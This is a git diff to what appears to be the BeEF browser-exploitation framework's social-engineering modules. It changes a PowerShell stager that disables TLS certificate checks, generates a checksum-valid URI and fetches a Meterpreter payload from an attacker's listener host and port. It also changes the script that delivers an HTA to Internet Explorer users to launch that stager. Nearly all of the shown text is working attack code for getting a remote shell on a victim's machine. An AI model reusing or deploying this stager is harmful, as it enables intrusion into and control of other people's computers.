diff --git a/extensions/social_engineering/powershell/powershell_payload b/extensions/social_engineering/powershell/powershell_payload index ffc046231..04e127ad1 100644 --- a/extensions/social_engineering/powershell/powershell_payload +++ b/extensions/social_engineering/powershell/powershell_payload @@ -400,13 +400,39 @@ function Invoke-ps { $SSL = 's' # Accept invalid certificates - [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } + [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} } } - # Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh? - $Request = "http$($SSL)://$($Lhost):$($Lport)/INITM" - Write-Verbose "Requesting meterpreter payload from $Request" + # Meterpreter to initiate stage 0. + $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray() + $x = "" + function sum($v){ + return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum % 0x100 -eq 92) + } + + function RandomChars{ + $f = "";1..3 | foreach-object {$f+= $chars[(Get-Random -maximum $chars.Length)]}; + return $f; + } + + function RandomArray { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}} + + function Generate{ + for ($i=0; $i -lt 64; $i++){ + $h = RandomChars;$k = $d | RandomArray; + foreach ($l in $k){ + $s = $h + $l; if (sum($s)){ + return $s} + } + return "9vXU"; + } + } + + + $GeneratedURI = Generate; + $Request = "http$($SSL)://$($Lhost):$($Lport)/$GeneratedURI" + Write-Verbose "Requesting meterpreter payload from $Request" $Uri = New-Object Uri($Request) $WebClient = New-Object System.Net.WebClient diff --git a/modules/social_engineering/hta_powershell/command.js b/modules/social_engineering/hta_powershell/command.js index 707299f5b..9e8a76dc7 100755 --- a/modules/social_engineering/hta_powershell/command.js +++ b/modules/social_engineering/hta_powershell/command.js @@ -6,7 +6,7 @@ beef.execute(function () { - var hta_url = '<%= @ps_url %>' + '/hta'; + var hta_url = '<%= @domain %>' + '<%= @ps_url %>' + '/hta'; if (beef.browser.isIE()) { // application='yes' is IE-only and needed to load the HTA into an IFrame.